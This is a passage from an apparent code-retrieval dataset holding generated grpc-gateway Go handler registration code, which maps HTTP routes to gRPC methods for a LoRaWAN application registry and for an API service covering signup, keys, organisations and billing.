err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_Update_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ApplicationRegistry_Delete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/Delete\", runtime.WithHTTPPathPattern(\"/applications/{application_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_Delete_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_Delete_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ApplicationRegistry_Restore_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/Restore\", runtime.WithHTTPPathPattern(\"/applications/{application_id}/restore\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_Restore_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_Restore_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ApplicationRegistry_Purge_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/Purge\", runtime.WithHTTPPathPattern(\"/applications/{application_id}/purge\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_Purge_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_Purge_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ApplicationRegistry_IssueDevEUI_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/IssueDevEUI\", runtime.WithHTTPPathPattern(\"/applications/{application_id}/dev-eui\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_IssueDevEUI_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_IssueDevEUI_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "048afc27add6863a6200512256fa8ffe", "score": "0.7576962", "text": "func RegisterServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_Service_Match_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_Service_StartChat_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "2033df1958ac22161a25f3c4b70b5c8d", "score": "0.71457046", "text": "func RegisterAPIServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server APIServiceServer) error {\n\n\tmux.Handle(\"POST\", pattern_APIService_BuildInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/BuildInfo\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_BuildInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_BuildInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_Signup_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/Signup\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_Signup_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_Signup_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_Signin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/Signin\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_Signin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_Signin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_Signout_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/Signout\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_Signout_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_Signout_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_GetSessionInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/GetSessionInfo\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_GetSessionInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_GetSessionInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_GetIdentity_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/GetIdentity\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_GetIdentity_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_GetIdentity_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_CreateKey_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/CreateKey\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_CreateKey_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_CreateKey_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_ListKeys_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/ListKeys\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_ListKeys_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_ListKeys_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_InvalidateKey_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/InvalidateKey\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_InvalidateKey_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_InvalidateKey_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_CreateOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/CreateOrg\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_CreateOrg_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_CreateOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_GetOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/GetOrg\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_GetOrg_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_GetOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_ListOrgs_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/ListOrgs\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_ListOrgs_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_ListOrgs_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_RemoveOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/RemoveOrg\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_RemoveOrg_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_RemoveOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_InviteToOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/InviteToOrg\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_InviteToOrg_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_InviteToOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_LeaveOrg_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/LeaveOrg\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_LeaveOrg_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_LeaveOrg_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_SetupBilling_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/SetupBilling\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_SetupBilling_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_SetupBilling_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_GetBillingSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/GetBillingSession\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_GetBillingSession_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_GetBillingSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_ListBillingUsers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req, \"/api.hubd.pb.APIService/ListBillingUsers\")\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_APIService_ListBillingUsers_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_APIService_ListBillingUsers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_APIService_IsUsernameAvailable_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer 